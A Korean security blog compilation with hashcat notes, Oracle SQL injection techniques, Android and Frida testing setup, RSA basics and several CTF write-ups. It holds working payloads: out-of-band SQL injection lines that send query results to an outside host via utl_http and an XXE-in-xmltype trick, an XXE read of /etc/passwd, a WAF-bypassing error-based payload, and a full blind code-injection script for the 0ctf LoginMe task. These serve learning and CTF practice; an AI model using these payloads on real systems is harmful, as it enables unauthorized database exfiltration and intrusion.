안녕하세요. hyunmini 입니다.

 

초판이 모두 판매되어 절판되었던 "윈도우 시스템 해킹 가이드: 버그헌팅과 익스플로잇" 개정판이 출간되었습니다!!

 

2019.12.05 부터 온/오프라인 서점에서 구매 가능합니다.

 

https://book.naver.com/bookdb/book_detail.nhn?bid=15909324

 

윈도우 시스템 해킹 가이드 버그헌팅과 익스플로잇

이 책은 윈도우 시스템 해킹을 따라하기 방식으로 쉽게 배우고, 중급자와 보안 엔지니어가실무에서 활용할 수 있도록 구성된 책이다. 시스템 해킹에 입문하는 초보자들은 어렵게만 느껴지는 어셈블리어와 디버거의 벽에 가로막혀서 중도에 포기한다. 그리고 중급자는 적절한 전문 서적과 가이드가 부족해서 시스템 해킹 지식을 넓히는 데 어려움을 겪는다. 또한 실무에서 활용해야 하는 분들은 제대로 된 분석 예제와 기법을 몰라서 이를 찾는 데 시간을 허비한다. 이 책은 이 모

book.naver.com

 

개정판에서는 크래시 분석 자동화, DBI, Win10 x64 Exploit, 브라우저 Infoleak, OOB Exploit 기술 등 다양한 내용이 약 100여 페이지에 걸쳐서 추가되었습니다.

 

많이 부족하지만 윈도우 환경에서 초급-중급 시스템 해킹 기술을 공부하는데 도움이 되길 바랍니다.

 

 

(개정판 추가 내용)
Section 05. 버그헌팅 자동화
1. 바이너리 분석 자동화
2. Dynamic Binary Instrumentation
3. Taint Analysis
4. Crash 분류 자동화와 중복 제거
5. Code Coverage 높이기

 

Part 07. 고급 Exploit 기법

Section 01. x64 Exploit
1. x64 의 이해
2. syswow64 exploit
3. windows 10 x64 exploit

 

Section 02. 웹브라우저 Exploit
1. 웹브라우저 메모리 보호기법
2. CVE 취약점을 활용한 Infoleak
3. Godmode 를 이용한 Exploit

 

 

hashcat 간단 정리

2019. 2. 21. 13:26


가끔 인젝션으로 해쉬값을 빼낸 후 크랙을 해야 할 경우가 있다. 

(거의 대부분 데이터베이스에 비밀번호는 해쉬값 또는 암호화 해서 넣어놓기 때문에 사실 거의 필수적으로)


john-the-ripper 를 가장 많이 쓰고 또 유명하지만 간혹 점검 환경에 의해 사용하지 못할수도 있기에 hashcat 도 간략히 정리해둔다.






hashcat 기본



hyunmini@~$ hashcat  -h


hashcat - advanced password recovery


Usage: hashcat [options]... hash|hashfile|hccapxfile [dictionary|mask|directory]...


- [ Options ] -


 Options Short / Long           | Type | Description                                          | Example

================================+======+======================================================+=======================

 -m, --hash-type                | Num  | Hash-type, see references below                      | -m 1000

 -a, --attack-mode              | Num  | Attack-mode, see references below                    | -a 3

 -V, --version                  |      | Print version                                        |

 -h, --help                     |      | Print help                                           |

     --quiet                    |      | Suppress output                                      |

     --hex-charset              |      | Assume charset is given in hex                       |

     --hex-salt                 |      | Assume salt is given in hex                          |

                        ...





옵션이 어마어마하게 많기 때문에 가장 중요한 몇가지만 정리해둔다.






-m :   크랙하려는 해시가 어떤 것인지 지정


      # | Name                                             | Category  ======+==================================================+================================

    900 | MD4                                              | Raw Hash

      0 | MD5                                              | Raw Hash

   5100 | Half MD5                                         | Raw Hash

    100 | SHA1                                             | Raw Hash

   1300 | SHA-224                                          | Raw Hash

   1400 | SHA-256                                          | Raw Hash

                         ...






-a : attack mode, brute/dictionay/hybrid 등


- [ Attack Modes ] -


  # | Mode

 ===+======

  0 | Straight

  1 | Combination

  3 | Brute-force

  6 | Hybrid Wordlist + Mask

  7 | Hybrid Mask + Wordlist


3 은 무작위 대입, 6은 워드리스트 + 마스크 요 2개 정도가 많이 사용될 듯 하다.


mask 는 문자열 타입을 지정해주는 기능인데, 아래와 같이 미리 지정된 문자열 셋이 있고, 직접 지정해줄 수도 있다.






Charset (mask 지정시 사용)


- [ Built-in Charsets ] -


  ? | Charset

 ===+=========

  l | abcdefghijklmnopqrstuvwxyz

  u | ABCDEFGHIJKLMNOPQRSTUVWXYZ

  d | 0123456789

  h | 0123456789abcdef

  H | 0123456789ABCDEF

  s |  !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~

  a | ?l?u?d?s

  b | 0x00 - 0xff



?l?l?l                 //  소문자로만 이루어진 3개의 글자 - ex: abc, adm, tes,...

?l?l?l?d             //  소문자 3글자, 숫자1글자 - ex: abc0, kkk5,...

?l?l?l?l?l?l?l?s   // 소문자7글자, 특수문자1글자 - ex: testabc!,...

     ...






-D : 크랙 연산에 사용할 processing unit 지정(CPU, GPU)



  # | Device Type

 ===+=============

  1 | CPU

  2 | GPU

  3 | FPGA, DSP, Co-Processor


GPU 있다면 2, CPU 면 1 로 지정. 가끔 디바이스가 없다며 에러가 날 때가 있는데, --force 옵션을 추가로 적어주면 그냥 CPU로 지정되는듯 하다.





이외 유용한 옵션들


--pw-min 6 --pw-max 9    //  크랙 시도 문자 길이 지정


경험상 10자리 이상은 일반 PC에서는 크랙이 어려움. 다만 dictionary + brute 라면 어느정도 크랙 가능, 또는 GPU로 돌리면 10자리 정도도 어느정도 크랙 가능



-i --increment-min=4 --increment-min=8    //  mask 길이값을 변경해가면서 시도함







사용 예시 


# hashcat -a 3 -m 0 example0.hash ?a?a?a?a?a?a    // bruteforce 6 length


# hashcat -m 0 -a 1 hash.lst dict.txt   // combine(dictionary + straight ?)


# hashcat -m 1400 -a 6 hash.lst dict.txt ?l?l?l?l?l?l?a?a     // hybrid ( dict + brute mask )




이상. 또 필요한 부분이 있으면 정리..



최근 SQL인젝션을 다양한 방법으로 확장 공격해보고 있는데,  XML 함수를 이용하여 마치 XXE 처럼 공격할 수 있는 방법이 있어서 정리해둔다. 



BlindSQL 인젝션

ex) 7777 and 1=1 from dual--



OOB (Out of Band)

OOB란 외부 채널로 데이터를 빼내는 방식을 말한다. blind 일때 데이터를 빼내려면 쿼리를 6~7번 해야 겨우 1글자를 알아낼 수 있는 반면, OOB를 이용하면 쿼리1번에 데이터를 다 뽑아올수도 있다. 즉 속도 면에서 Blind 방식 대비 훨씬 빠르다는 장점이 있다.


ex) and 1=(select utl_http.request('http://www.secuholic.com/'||(select user from dual)) from dual) from dual --


이렇게 하면 www.secuholic.com 웹서버에 (select user from dual) 의 결과값인 hyunmini 가 추가된 GET요청을 날리게 되고, 서버에서 웹로그를 확인하면 해당 쿼리의 결과를 확인할 수 있게 되는 원리이다. 같은 원리로 dns 요청을 날리는 방법도 존재한다.





XXE(XML eXternal Entity)


XXE는 몇년 전부터 이슈가 되었던 취약점으로, XML파서를 공격하는 데 주로 사용되는 공격방법이다. 정확히는 external entity 는 원래 있는 기능이고, 이를 악용하면 파일 읽기, 폴더 읽기, SSRF 등 다양한 악성 행위가 가능한 취약점이다.


ex) XXE 예시

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE root [ 

   <!ENTITY xxe SYSTEM "file:///etc/passwd"> 

]>

<tag>&xxe;</tag>






XXE 를 이용한 SQL인젝션 OOB (SQL인젝션 + XXE)


오라클에서 xmltype 함수를 이용하여 XML 을 사용할 수 있는데 이때 XXE 를 활용할 수 있다. 즉 아래와 같은 방법으로 오라클의 xml parser 에게 외부 서버로 OOB 를 날리도록 하여 쿼리 결과를 받을 수 있다.



 7777 and 1=((select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE  root [ <!ENTITY % remote SYSTEM "http://x.x.x.x/'||(SELECT user from dual)||'">%remote;]>'),'/l') from dual)) FROM DUAL-- 







결과값을 받을 외부 서버에서)


# python -m SimpleHTTPServer 53

Serving HTTP on 0.0.0.0 port 53 ...

x.x.x.x. - - [09/Nov/2018 10:48:25] code 404, message File not found

x.x.x.x - - [09/Nov/2018 10:48:25] "GET /hyunmini HTTP/1.0" 404 -




위와 같이 GET 요청에 쿼리 결과값이 포함되어 날아오는 것을 확인할 수 있다.


웹해킹은 여전히 심오하다. 끝.


IDA Hexray


간혹 헥스레이에서 문자열이 "test1234" 대신 atest 요런 식으로 변수명으로 나와서 불편할 때가 있다.


이런 경우 설정방법.



요렇게 문자열 대신 변수명으로 나올때



헥스레이 옵션에서 "Print only constant string literals" 옵션 체크 해제




이제 잘 보인다. 


'Reversing' 카테고리의 다른 글

암호학 정리(for CTF)  (0) 2018.04.05
WinDBG 고급 명령어들  (0) 2017.06.07
DBI - pin & pintool  (4) 2017.05.22
DBI - Frida 를 이용한 DBI  (3) 2016.09.07
Embedded 기기 리버싱 - 펌웨어 리버싱  (1) 2016.07.14


안드로이드 패킷 포워딩(burp 등으로)용 iptables 명령어 정리. 


보통 proxydroid, autoproxy 등 자동 설정 apk 를 이용하면 되지만 80, 8080, 443이 아닌 경우 


리다이렉트가 안되는 경우가 있다. 그런 경우 직접 아래와 같이 iptables 로 세팅해줄 수 있다.





# iptables -F    // 전체 삭제


# iptables -L -t nat  // nat 리스트




아래는 proxydroid 포트로 리다이렉트 하는 경우.


# iptables -A OUTPUT -t nat -p tcp --dport 10443 -j REDIRECT --to-port 8124


Chain OUTPUT (policy ACCEPT)

target     prot opt source               destination

REDIRECT   udp  --  anywhere             anywhere             udp dpt:domain redir ports 54358

RETURN     tcp  --  anywhere             192.168.43.187

REDIRECT   tcp  --  anywhere             anywhere             tcp dpt:http redir ports 8123

REDIRECT   tcp  --  anywhere             anywhere             tcp dpt:https redir ports 8124

REDIRECT   tcp  --  anywhere             anywhere             tcp dpt:5228 redir ports 8124

REDIRECT   tcp  --  anywhere             anywhere             tcp dpt:10443 redir ports 8124




Frida 권한 오류 해결

2018. 9. 11. 15:17


간만에 점검용 폰을 새로 세팅해야 할 일이 있어서 간략히 정리. 




# 세팅 순서


- custom recovery 설치, custom rom 설치

- magisk, su 설치(루팅)

- gdb, frida... (점검용 툴들)


다 잘 되다가.. frida 에서 뜬금없이 오류가 떠서 당황..




$ frida-ps -Uai

Failed to enumerate applications: failed to execute child process “/data/local/tmp/re.frida.server/frida-helper-64” (Permission denied)





검색해보니 동일한 오류를 겪은 선구자(?) 들이 있었고 검색 후 해결할 수 있었다.

(삼성계열 폰에서 selinux policy 와 관련해 자식프로세스 생성 시 발생하는 문제라고 하나 정확히 알아보진 않음.)


몇번의 시도 후 성공했는데, 결론적으로 아래와 같이 /system/priv-app 폴더로 복사해주면 해결된다.






$ frida-ps -Uai


  PID  Name                                            Identifier

-----  ----------------------------------------------  -------------------------------------------------

11267  AhnLab V3 Mobile Plus 2.0                       com.ahnlab.v3mobileplus

 4398  Android Services Library                        com.google.android.ext.services

 6857  BadgeProvider                                   com.sec.android.provider.badge

21975  CMHProvider                                     com.samsung.cmh

 4158  CSC                                             com.samsung.sec.android.application.csc 

        ...




잘 됩니다.


오랜만의 webhacking 포스팅이다. 

This short article is about webhacking.




Oracle Error Based SQL Injection


Oracle Error Based SQL Injection 공격시 주로  utl_inaddr.get_host_name()  함수를 이용한다. 

I usually use utl_inaddr.get_host_name() functions when Oracle Error Based SQL Injection.



ex)  utl_inaddr.get_host_name( (select user from dual) )

       => 'hyunmini' 호스트를 찾을 수 없습니다.

        =>  'hyunmini' host not found.



이번 타겟은 웹방화벽에서 get_host_name 함수를 차단하고 있어서 해당 함수를 사용이 불가능했기에 다른 방법을 찾아보았다. 

This Target was blocking the get_host_name function in the WAF, so I tried another way.


조금 찾아보니 역시 다른 방법이 몇가지가 있었다. 이번에 테스트 해본 방법은 xmltype() 함수이다.

After googling, I found some other ways. One way is to use the xmltype() function. 

(참고 : https://gist.github.com/xassiz/7aa20b670d7e44da665c3e28f216a927)

(Reference: https://gist.github.com/xassiz/7aa20b670d7e44da665c3e28f216a927)



xmltype()


xmltype() 함수를 이용하면 아래와 같이 데이터를 쉽게 빼올 수 있었다.
Using the xmltype() function, I could easily get the data as shown below.

ex)

vulparam=1 and (select ''||

 xmltype('<'||regexp_replace(utl_raw.cast_to_varchar2(utl_encode.base64_encode(
   utl_raw.cast_to_raw( (select+global_name+from+global_name) )
  ))||'%3ax>',chr(10)||'|'||chr(13)||'|%3d',''))||''+from+dual)--



인젝션 결과 : 선언되지 않은 네임스페이스 접두어 'hyunminidb'
injection result : Undeclared namespace prefix 'hyunminidb'



끝!

The End!



Google CTF 2017 - ASCII Art Writeup



이번에는 리버싱 문제중 하나인 aart 를 풀어 보았다. 결론부터 말하면 허무하게 풀려버렸다;



이번 문제는 바이너리와 패킷 덤프가 주어졌다.




# file aart_client

aart_client: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=220420b2d90546e195ca6df0119e299f3ad28514, stripped






바이너리를 IDA 로 열어보면 protobuf 관련 클래스가 많이 나오는데, 검색해 보니 객체 등의 다양한 자료들을 송수신 하게 해주는 google 에서 만든 라이브러리이며 게임 등 실무에서도 많이 사용된다고 한다.








패킷을 열어보면 바이너리와 서버가 주고 받은 패킷임을 알 수 있는데, 자세히 보면 내용이 동일한 패킷이 주기적으로 보내진 것을 알 수 있다. 아마도 바이너리의 HELLO 문자열과 관련된 패킷일 것으로 생각된다.


즉 HELLO -> Message 전송의 형식으로 통신을 한 것으로 볼 수 있다. 











처음엔 바이너리를 좀 분석하다가... 실행하려면 서버가 필요해서 웹서버를 만들어서 시뮬레이션(?) 해 보기로 했고, 아래와 같이 간단히 코딩하여 소켓으로 응답을 돌려줬다.



from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import SocketServer

seq = 0

msg_0 = '''787e7f756d667e7c7c15787e70746d667e7c232b4c5c57405554435d5851555b5549505a554e405b545c4f51405c545b4f5449432b193931'''

msg_1 = '''54795e5e2c5d2c2c2c2c2c2c2c2c5e5d135e53535353535353535479535d2f532c5d2c2c2c2c2c2c2c2c5c5d5353135d5353535353535479535d53535353532f5353535353535353535c53535353135d535353535c795353535c53535353532f535353535353535c53535353532f2f5353537953530f53535353535353532f535e545e5e5c1353535353535353535353530f79534e5d5e5e5e5e0d0d0d0d5c0d535353532f530d0d0d0d5e0d5e5e4e5e535d7953492e4949494949490f4953532c5a535b0f5349494949494949495328535354795e4e5e5e5d5e2c2c2c2c532f505353532c5c2c2c5d2c5e5e5e5e134e53530f7953535e0d2c5d5353532f58535e5e585e535353535353535353530f53535354795d5e532c53530d535d5e5c53530f53532f0f535353535353535c5c5353537953530f5d535e542c5d53535c530f5353530f532f534e54134e53535d0d535353530f7953530f530d5d53535c535353530f5353530f2f532c2c0d535c5d535353537953530f53532f0f5d535e5e530d0f5353530f5353535e0d5d5e5c535353535353532f795c2c5353532f53532c530f2c53530f532c2c53535353535c5353535353532c7953535353532f53535353530f5353530f53535353535c53535353535379532f2f53530f0f2c2c0f2c530f5c53535c53535353535353532f79532f0f0f53530f53530f5c5c535353535353535353532f790f2f530f53530f0f5c5c5353535353535353535379532c2f530f53532c0f535c535353535353535353537953532c53535353532c5353535353535353535353537979b97716690a061e1d171f1b091112031f101f041a111f160a1b1e1605110a1e1e0905530370617b'''

msg_2 = '''787e7f756d667e7c7c15787e70746d667e7c232b4e564150525b5d5e57504b5e48405558534158505141494a564d515848564b562b193931'''

msg_3 = '''037e6c612e496c67446c3c2e7168746c772e6c6c2e65667a6d686e6c652e2e6c6c772e6f2e6262702e746277576b457840571931746c7b6a686167646d6a7164727a6f62697b626a6b7b73706c776b62726c716c11230b7a'''
msg_4 = '''787e7f756d667e7c7c15787e70746d667e7c232b53545f485c515349545449564e4f4f554353485a4d504e4d50404d545c5c514f2b193931'''

msg_5 = '''54795e5e2c5d2c2c2c2c2c2c2c2c5e5d135e53535353535353535479535d2f532c5d2c2c2c2c2c2c2c2c5c5d5353135d5353535353535479535d53535353532f5353535353535353535c53535353135d535353535c795353535c53535353532f535353535353535c53535353532f2f5353537953530f53535353535353532f535e545e5e5c1353535353535353535353530f79534e5d5e5e5e5e0d0d0d0d5c0d535353532f530d0d0d0d5e0d5e5e4e5e535d7953492e4949494949490f4953532c5a535b0f5349494949494949495328535354795e4e5e5e5d5e2c2c2c2c532f505353532c5c2c2c5d2c5e5e5e5e134e53530f7953535e0d2c5d5353532f58535e5e585e535353535353535353530f53535354795d5e532c53530d535d5e5c53530f53532f0f535353535353535c5c5353537953530f5d535e542c5d53535c530f5353530f532f534e54134e53535d0d535353530f7953530f530d5d53535c535353530f5353530f2f532c2c0d535c5d535353537953530f53532f0f5d535e5e530d0f5353530f5353535e0d5d5e5c535353535353532f795c2c5353532f53532c530f2c53530f532c2c53535353535c5353535353532c7953535353532f53535353530f5353530f53535353535c53535353535379532f2f53530f0f2c2c0f2c530f5c53535c53535353535353532f79532f0f0f53530f53530f5c5c535353535353535353532f790f2f530f53530f0f5c5c5353535353535353535379532c2f530f53532c0f535c535353535353535353537953532c53535353532c5353535353535353535353537979b9771e6902191b1503161e191c1e05031f04190510091a0207070a041e1a16070516531b70617b'''

msgs = [msg_0, msg_3, msg_2, msg_1, msg_4, msg_5]

class S(BaseHTTPRequestHandler):
    def _set_headers(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()

    def do_GET(self):
        self._set_headers()
        self.wfile.write("<html><body><h1>hi!</h1></body></html>")

    def do_HEAD(self):
        self._set_headers()

    def do_POST(self):
        # Doesn't do anything with posted data
        global seq
        self._set_headers()
        print self.rfile.read(int(self.headers['Content-Length']))
        self.wfile.write(msgs[seq])
        seq += 1

def run(server_class=HTTPServer, handler_class=S, port=80):
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    print 'Starting httpd...'
    httpd.serve_forever()

if __name__ == "__main__":
    from sys import argv

    if len(argv) == 2:
        run(port=int(argv[1]))
    else:
        run()






그러자... 아스키 비행기가 나왔다.





# ./aart_client 127.0.0.1




             _     _

            /_|   |_\

           //||   ||\\

          // ||   || \\

         //  ||___||  \\

        /     |   |     \    _

       /    __|   |__    \  /_\

      / .--~  |   |  ~--. \|   |

     /.~ __\  |   |  /   ~.|   |

    .~  `=='\ |   | /   _.-'.  |

   /  /      \|   |/ .-~    _.-'

  |           +---+  \  _.-~  |

  `=----.____/  #  \____.----='

   [::::::::|  (_)  |::::::::]

  .=----~~~~~\     /~~~~~----=.

  |          /`---'\          |

   \  \     /       \     /  /

    `.     /         \     .'

      `.  /._________.\  .'

        `--._________.--'







그리고...몇번 더 실행해보니 플래그가 나왔다 -_-;;;;;



# ./aart_client 127.0.0.1

CTF{That-was-a-lot-of-monkey-foot-work?-Good-Job!}




다른 풀이를 찾아보니 이건 꼼수고.. 제대로 된 풀이는 protobuf 프로토콜을 분석해서 flag 헥스값을 디코딩해서 키를 추출하는 식이었다. 어쨌든 풀었으니 이건 다음에 -_-;

'CTF Writeup' 카테고리의 다른 글

0ctf 2018 - LoginMe Writeup  (0) 2018.04.10
codegate 2018 miro writeup  (0) 2018.02.06
codegate 2018 Impel Down writeup  (0) 2018.02.06
codegate 2018 - rbsql writeup  (0) 2018.02.06
Codegate 2017 - babypwn  (0) 2017.02.28




Google CTF 2017 - Fook.apk   Writeup






끝난지 좀 됐지만 공부겸 google ctf 2017 의 문제중 안드로이드 문제인 food.apk 를 풀어봤다.


주어진 apk 는 정상 실행이 안되어서 정적 분석을 먼저 해 보았는데, 실행되고 바로 libcook.so 라이브러리를 호출해 주고 있었고 별다른 코드가 


보이지 않았다. 





so 파일을 들여다 보면 아래와 같이 dex 파일을 새롭게 생성해 주는 것을 볼 수 있다.







하지만 해당 파일을 바이너리에서 복사해서 붙여넣고 디컴파일을 시도하면 가장 중요한 함수인 cc() 함수가 제대로 보이지 않는다.


so 를 다시 살펴보면 마지막 부분에서 아래와 같이 특정 부분을 xor 해주는 것을 볼 수 있다.(0x720 오프셋 부터 0x90 byte)




해당 바이트를 가져와서 0x5a 로 xor 해서 원본 코드를 확인해 보자. python 으로 간단히 만들어 줬다.







그 후 뽑아냈던 dex 파일의 0E 로 채워진 부분들(0x720 오프셋) 을 위에서 xor 한 값으로 채워주고 다시 디컴파일을 해 보면 정상적으로 cc() 함수가 보인다.





cc() 함수. 어떤 입력값을 비교한 후 맞으면 flag 를 출력해준다. 굳이 실행시킬 필요없이 flag 출력함수인 R.C() 를 분석하기만 하면 flag 를 추출할 수 있다.






# R.C 인데..약간 복잡하긴 하지만 상관없다. 그대로 갖다 쓰면 되니까 ㅎ 








라고 생각하고 파이썬으로 대강 작성한 후에 돌려봤더니 아래처럼 일부 플래그만 나오는 이상한 현상이 발생했다(ㅠㅠ) 


�TF{�aco��l�ttu��_����to_l�bst��������




몇번의 삽질을 한 후 찾은 버그는 바로 자바 소스에서 (byte) 캐스트 때문에 char 형으로 강제 형변환이 되면서 발생한 문제였다.


파이썬과 약간 처리 방식이 다른듯 했다. 결국 % 256 연산을 통해 음수가 나오지 않도록 해주니 제대로 나왔다. 아래는 전체 python 소스이다.




# solve_food2.py


print "[*] google ctf 2017 : food.apk "

print "[*] get this.k array.."

flag = [ -19, 116, 58, 108, -1, 33, 9, 61, -61, -37, 108, -123, 3, 35, 97, -10, -15, 15, -85, -66, -31, -65, 17, 79, 31, 25, -39, 95, 93, 1, -110, -103, -118, -38, -57, -58, -51, -79 ]

compareArr = [0x13, 0x11, 0x13, 0x03, 0x04, 0x03, 0x01, 0x05]
bArr = [26,27,30,4,21,2, 18, 7]

for i,c in enumerate(compareArr):
    print hex(c^bArr[i])

# 0x9 0xa 0xd 0x7 0x11 0x1 0x13 0x2
this_k = [0x9, 0xa, 0xd, 0x7, 0x11, 0x1, 0x13, 0x2]
this_k = [9,10,13,7,17,1,19,2]

print "[*] get Flag!"

def r_c(arr1, arr2):
    v7 = 256    
    v3 = [None]*v7
    v4 = [None]*v7
    v0 = 0
    v1 = 0
    while v1 != v7:
        v3[v1] = v1
        v4[v1] = arr2[v1 % len(arr2)]
        v1 += 1

    v2 = v1^v1
    v1 = 0
    while v2 != v7:
        v1 = v1 + v3[v2] + v4[v2] & 255
        v3[v1] = (v3[v1]^v3[v2])  % 256 
        v3[v2] = (v3[v2]^v3[v1])  % 256
        v3[v1] = (v3[v1]^v3[v2])  % 256
        v2 += 1

    v4 = ""
    v2 ^= v2
    v1 ^= v1

    while v0 != len(arr1):
        v2 = v2 + 1 & 255
        v1 = v1 + v3[v2] & 255
        v3[v1] = (v3[v1]^v3[v2]) % 256
        v3[v2] = (v3[v2]^v3[v1]) % 256
        v3[v1] = (v3[v1]^v3[v2]) % 256
        v4 += chr((arr1[v0] ^ v3[v3[v2] + v3[v1] & 255]) % 256)
        v0 += 1

    return v4

print r_c(flag, this_k)






실행해보면 flag 를 확인할 수 있다.



 hyunmini@~/2017.googlectf/food$ python food_flag2.py


 [*] google ctf 2017 : food.apk

 [*] get this.k array..

 0x9

 0xa

 0xd

 0x7

 0x11

 0x1

 0x13 

 0x2

 [*] get Flag!

 CTF{bacon_lettuce_tomato_lobster_soul}






끝! (ps. 간만의 안드로이드 리버싱 문제라서 반가웠다.)

0ctf 2018 - LoginMe Writeup

2018. 4. 10. 14:21


0CTF2018 - LoginMe




참가는 못했지만 나중에 접속해서 0ctf 2018 문제중 하나인 LoginMe 를 풀어보았다.

I didn't participate but I tried to solve LoginMe which is one of 0ctf 2018 tasks.



https://ctf.0ops.sjtu.cn/login#task-28





웹 로그인 창 하나가 주어지고, 소스코드도 주어졌다. 

web login window is given, and the source code is given.



# loginme.js


var express = require('express') var app = express() var bodyParser = require('body-parser') app.use(bodyParser.urlencoded({})); var path = require("path"); var moment = require('moment'); var MongoClient = require('mongodb').MongoClient; var url = "mongodb://localhost:27017/"; MongoClient.connect(url, function(err, db) { if (err) throw err; dbo = db.db("test_db"); var collection_name = "users"; var password_column = "password_"+Math.random().toString(36).slice(2) var password = "xxxxxxxxxxxxxxxxxxxxxx"; // flag is flag{password} var myobj = { "username": "admin", "last_access": moment().format('YYYY-MM-DD HH:mm:ss Z')}; myobj[password_column] = password; dbo.collection(collection_name).remove({}); dbo.collection(collection_name).update( { name: myobj.name }, myobj, { upsert: true } ); app.get('/', function (req, res) { res.sendFile(path.join(__dirname,'index.html')); }) app.post('/check', function (req, res) { var check_function = 'if(this.username == #username# && #username# == "admin" &&

hex_md5(#password#) == this.'+password_column+'){\nreturn 1;\n}else{\nreturn 0;}'; for(var k in req.body){ var valid = ['#','(',')'].every((x)=>{return req.body[k].indexOf(x) == -1}); if(!valid) res.send('Nope'); check_function = check_function.replace( new RegExp('#'+k+'#','gm') ,JSON.stringify(req.body[k])) } var query = {"$where" : check_function}; var newvalue = {$set : {last_access: moment().format('YYYY-MM-DD HH:mm:ss Z')}} dbo.collection(collection_name).updateOne(query,newvalue,function (e,r){ if(e) throw e; res.send('ok'); // ... implementing, plz dont release this. }); }) app.listen(8081) });





코드를 보면 node js 의 웹 프레임워크인 express 를 이용한 웹 서버임을 알 수 있다. 코드중 중요한 부분은 아래와 같다.

web server using express module, the web framework of node js. An important part of the code is:




1) password 칼럼명이 랜덤하게 바뀜

    password column name changes randomly


    ex)

    this.password_qqxnativaup

    this.password_kt1g716pi4






2) 내가 입력한 request 변수와 값을 이용해서 nodejs 코드가 동적으로 만들어진 후 실행됨

     nodejs code is dynamically created and executed using the request variable and value I entered


  for(var k in req.body){
            var valid = ['#','(',')'].every((x)=>{return req.body[k].indexOf(x) == -1});
            if(!valid) res.send('Nope');
            check_function = check_function.replace(
                new RegExp('#'+k+'#','gm')
                ,JSON.stringify(req.body[k])) 
}



ex) (POST) username=admin&password=123  로 전송하면 아래와 같이 동적으로 구문을 만들어줌

        send "username=admin&password=123",  server dynamically generates the code as shown below.


- for 문을 돌면서 차례대로 #username# => admin,  #password# => 123 으로 입력

    after running for loop #username# => admin,  #password# => 123


k:username

if(this.username == "admin" && "admin" == "admin" && hex_md5(#password#) == this.password_qqxnativaup){

return 1;

}else{

return 0;}


k:password

if(this.username == "admin" && "admin" == "admin" && hex_md5("123") == this.password_qqxnativaup){

return 1;

}else{

return 0;}








결론적으로 입력값에 # 을 삽입하면 저 구문을 꼬이게 할 수 있다는 뜻이다. 

In conclusion, it's possible inserting '#' in the input value to attack.


하지만 소스상에서 #, ), ( 문자는 아래 소스코드에 의해 필터링이 되고 있다.

but  #, ), (  characters are filtered by the source code below.


var valid = ['#','(',')'].every((x)=>{return req.body[k].indexOf(x) == -1});




이 필터링은 배열로 값을 보내면 우회가 가능하다. ( username[] = 123 )

filter can be bypassed by sending an array instead of a value.






다양한 삽질 끝에 아래와 같은 방식으로 SQLi 처럼 Blind 방식의 node js 코드 인젝션이 가능함을 확인했다.

After various attempts, I confirmed that node.js code injection of blind method like SQLi is possible in the following way.


 True:

 username[]=admin#test&test.*md5.[]=] || 'a'=='a' ? 1 : alert() || (#pass&pass.*=test&password=555


 False:

 username[]=admin#test&test.*md5.[]=] || 'a'=='b' ? 1 : alert() || (#pass&pass.*=test&password=555






참일 때는 에러가 나지 않도록 하고, 거짓일 때는 alert(없는 메소드라고 에러발생) 을 이용해서 에러를 발생시켰다.

If true no error, if false an error is output.


아래처럼 입력한 자바스크립트 구문이 참일 때만 ok 가 오고, 거짓일땐 서버 에러가 발생해서 응답이 오지 않는다.

It only be 'ok' if the JavaScript syntax is true, and if it is false, get a server error and no response.






이제 스크립트를 작성해서 플래그를 한글자씩 뽑아오면 끝!

Now, write a simple python script and get the flags one by one!




# exploit_loginme.py


#!/usr/bin/python
from socket import *
import time

#target = ('202.120.7.194', 8081)
target = ('127.0.0.1', 8081)


def request(p):
    c = socket(AF_INET, SOCK_STREAM)
    try:
        c.connect(target)
    except:
        time.sleep(0.2)
        c.connect(target)

    req = '''POST /check HTTP/1.1
Accept-Encoding: gzip, deflate
Content-Length: {}
Host: 127.0.0.1:8081
Content-Type: application/x-www-form-urlencoded
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko

{}

'''.format(len(p)+2,p)
    #print req
    c.send(req)
    res = c.recv(300)
    #print res
    try:
        t = res.index('ok')
        return True
    except:
        return False

### flag length - 32
#param = 'username[]=admin#test&test.*md5.[]=] || this[Object.keys(this)[3]].length == 32 ? 1 : alert() || (#pass&pass.*=test'
#print request(param)

### flag
flag = ''
for i in range(32):
    for j in range(48,127):
        param = 'username[]=admin#test&test.*md5.[]=] || this[Object.keys(this)[3]].substr({},1).charCodeAt() == {} ? 1 : alert() || (#pass&pass.*=test'.format(i,j)
        print "[*] trying.." + param
        if request(param):
            print '\n=================='
            print chr(j)
            flag += chr(j)
            print '\n=================='
            break
        time.sleep(0.4)

print "[+] flag: \nflag{" + flag + "}"




끝!

the end!



ps. node js 를 CTF 때만 간혹 보고 거의 안써봐서 조금 헷갈렸던 문제였다..공부해야지!




'CTF Writeup' 카테고리의 다른 글

Google CTF 2017 ascii art writeup  (0) 2018.04.18
codegate 2018 miro writeup  (0) 2018.02.06
codegate 2018 Impel Down writeup  (0) 2018.02.06
codegate 2018 - rbsql writeup  (0) 2018.02.06
Codegate 2017 - babypwn  (0) 2017.02.28

암호학 정리(for CTF)

2018. 4. 5. 11:36



CTF 를 위한 기초 암호학 개념들을 간단히 정리했다. (아주 간단히...)




1.기본 개념


RSA 용어 

- 인증서 종류 : .pem(base64 로 저장), .der(바이너리로 저장)

o() = euler's totient function, 오일러 파이 함수
o(6) = 3
=> 1,2,3,4,5,6 중 나눠지는 2,3 은 제외하고 서로소인 1,4,5 인 3개

p = 315274063651866931016337573625089033553
q = 311155972145869391293781528370734636009
e = 12405943493775545863
n = p * q

공개키 :  n, e 
개인키 : d
암호문 : c (실제론 큰 정수)
복호화 : m (실제론 큰 정수)


- 암호화 과정
1) 소수 p 와 q 를 정한다.    
        p = 123123123
        q = 590129113

2) n = p*q 를 구한다.
        n = p * q

3) o(n) = (p-1)*(q-1) 을 구한다.
        phi = (p-1)*(q-1)

4) 1 < e < o(n) 이고 o(n) 과 서로소인 e 를 구한다.

5) (d * e) mod o(n)=1 이고 o <= d <= N 인 d 를 구한다.
   d = gmpy.invert(e, phi)

